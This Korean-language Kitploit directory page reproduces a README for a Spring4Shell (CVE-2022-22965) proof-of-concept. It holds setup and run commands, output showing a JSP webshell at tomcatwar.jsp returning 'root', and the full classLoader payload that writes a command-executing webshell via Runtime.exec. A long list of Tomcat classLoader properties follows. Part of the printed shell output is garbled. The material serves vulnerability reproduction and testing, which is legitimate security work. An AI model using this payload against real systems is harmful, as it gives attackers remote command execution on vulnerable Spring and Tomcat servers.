Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Spring4Shell-POC — Spring4Shell (CVE-2022-22965) 원격 코드 실행 취약점을 Python 익스플로잇 스크립트로 재현하며, Apache Tomcat에 JSP 웹쉘을 배포하여 테스트 및 검증을 수행합니다. | Kitploit
도구/GitHubGitHub/weijilab/spring4shell-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application Exploitation
GitHubweijilab/spring4shell-poc

Spring4Shell-POC

Spring4Shell (CVE-2022-22965) 원격 코드 실행 취약점을 Python 익스플로잇 스크립트로 재현하며, Apache Tomcat에 JSP 웹쉘을 배포하여 테스트 및 검증을 수행합니다.

저장소 보기
1131084년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Spring4Shell-POC

Spring4Shell 취약점 로컬 재현 과정

환경 준비

  • 환경 docker, docker-compose

  • mvn 패키징, ./target/ROOT.war 생성```shell mvn package

* 서비스 시작```shell
docker-compose up -d
  • 서비스 종료```shell docker-compose down
## 재현 과정

* 스크립트 실행```shell
python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080"
  • 첫 번째 실행

첫 번째 실행

  • 두 번째 실행

두 번째 실행

  • 실행 과정``` ➜ spring4shell-poc clear
    ➜ spring4shell-poc python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080" The vulnerability exists, the shell address is :http://127.0.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami got response: ➜ spring4shell-poc clear ➜ spring4shell-poc python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080" The vulnerability exists, the shell address is :http://127.0.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami got response: root

//

  • if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -

➜ spring4shell-poc

* docker容器中可以看到在tomcat应用服务中创建了一个jsp文件

![spring-4-shell-web](https://assets.kitploit.com/production/public/readmes/5300/3c171f1bcbfd46534f345a9aee6089e18ced9569afd208bd7eb33cc882246688.png)


* web也可以直接访问

![spring-4-shell-web](https://assets.kitploit.com/production/public/readmes/5300/5205a0cd1c694bfa02964a130c6a05ded1c1d1f3a2ce4d96b85d74ed863b85fd.png)


## 주의사항

* spring-4-shell-exp.py의 data 데이터```text
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i 
if ("j".equals(request.getParameter("pwd"))) {
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = in .read(b)) != -1) {
        out.println(new String(b));
    }
}
%{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
  • tomcat 설정 매개변수 출력 通过 src/main/webapps/print.jsp 파일을 통해, 실행 중에 tomcat 속성 구성을 출력할 수 있습니다.```text class.classLoader.delegate class.classLoader.clearReferencesRmiTargets class.classLoader.clearReferencesStopThreads class.classLoader.clearReferencesStopTimerThreads class.classLoader.clearReferencesHttpClientKeepAliveThread class.classLoader.clearReferencesObjectStreamClassCaches class.classLoader.clearReferencesThreadLocals class.classLoader.skipMemoryLeakChecksOnJvmShutdown class.classLoader.clearReferencesLogFactoryRelease class.classLoader.defaultAssertionStatus class.classLoader.resources.allowLinking class.classLoader.resources.cachingAllowed class.classLoader.resources.cacheObjectMaxSize class.classLoader.resources.trackLockedFiles class.classLoader.resources.domain class.classLoader.resources.throwOnFailure class.classLoader.resources.context.delegate class.classLoader.resources.context.server class.classLoader.resources.context.useNaming class.classLoader.resources.context.createUploadTargets class.classLoader.resources.context.allowMultipleLeadingForwardSlashInPath class.classLoader.resources.context.requestCharacterEncoding class.classLoader.resources.context.responseCharacterEncoding class.classLoader.resources.context.dispatchersUseEncodedPaths class.classLoader.resources.context.useRelativeRedirects class.classLoader.resources.context.mapperContextRootRedirectEnabled class.classLoader.resources.context.mapperDirectoryRedirectEnabled class.classLoader.resources.context.validateClientProvidedNewSessionId class.classLoader.resources.context.containerSciFilter class.classLoader.resources.context.sendRedirectBody class.classLoader.resources.context.preemptiveAuthentication class.classLoader.resources.context.fireRequestListenersOnForwards class.classLoader.resources.context.addWebinfClassesResources class.classLoader.resources.context.webappVersion class.classLoader.resources.context.resourceOnlyServlets class.classLoader.resources.context.effectiveMajorVersion class.classLoader.resources.context.effectiveMinorVersion class.classLoader.resources.context.logEffectiveWebXml class.classLoader.resources.context.allowCasualMultipartParsing class.classLoader.resources.context.swallowAbortedUploads class.classLoader.resources.context.publicId class.classLoader.resources.context.antiResourceLocking class.classLoader.resources.context.useBloomFilterForArchives class.classLoader.resources.context.parallelAnnotationScanning class.classLoader.resources.context.configured class.classLoader.resources.context.cookies class.classLoader.resources.context.sessionCookieName class.classLoader.resources.context.useHttpOnly class.classLoader.resources.context.sessionCookieDomain class.classLoader.resources.context.sessionCookiePath class.classLoader.resources.context.sessionCookiePathUsesTrailingSlash class.classLoader.resources.context.crossContext class.classLoader.resources.context.defaultContextXml class.classLoader.resources.context.defaultWebXml class.classLoader.resources.context.denyUncoveredHttpMethods class.classLoader.resources.context.altDDName class.classLoader.resources.context.displayName class.classLoader.resources.context.distributable class.classLoader.resources.context.docBase class.classLoader.resources.context.j2EEApplication class.classLoader.resources.context.j2EEServer class.classLoader.resources.context.ignoreAnnotations class.classLoader.resources.context.path class.classLoader.resources.context.originalDocBase class.classLoader.resources.context.privileged class.classLoader.resources.context.reloadable class.classLoader.resources.context.override class.classLoader.resources.context.replaceWelcomeFiles class.classLoader.resources.context.sessionTimeout class.classLoader.resources.context.swallowOutput class.classLoader.resources.context.unpackWAR class.classLoader.resources.context.copyXML class.classLoader.resources.context.wrapperClass class.classLoader.resources.context.jndiExceptionOnFailedWrite class.classLoader.resources.context.charsetMapperClass class.classLoader.resources.context.workDir class.classLoader.resources.context.clearReferencesRmiTargets class.classLoader.resources.context.clearReferencesStopThreads class.classLoader.resources.context.clearReferencesStopTimerThreads class.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread class.classLoader.resources.context.renewThreadsWhenStoppingContext class.classLoader.resources.context.clearReferencesObjectStreamClassCaches class.classLoader.resources.context.clearReferencesThreadLocals class.classLoader.resources.context.skipMemoryLeakChecksOnJvmShutdown class.classLoader.resources.context.xmlNamespaceAware class.classLoader.resources.context.xmlValidation class.classLoader.resources.context.xmlBlockExternal class.classLoader.resources.context.tldValidation class.classLoader.resources.context.name class.classLoader.resources.context.startChildren class.classLoader.resources.context.backgroundProcessorDelay class.classLoader.resources.context.startStopThreads class.classLoader.resources.context.domain class.classLoader.resources.context.throwOnFailure class.classLoader.resources.context.loader.delegate class.classLoader.resources.context.loader.reloadable class.classLoader.resources.context.loader.loaderClass class.classLoader.resources.context.loader.domain class.classLoader.resources.context.loader.throwOnFailure
도구 다운로드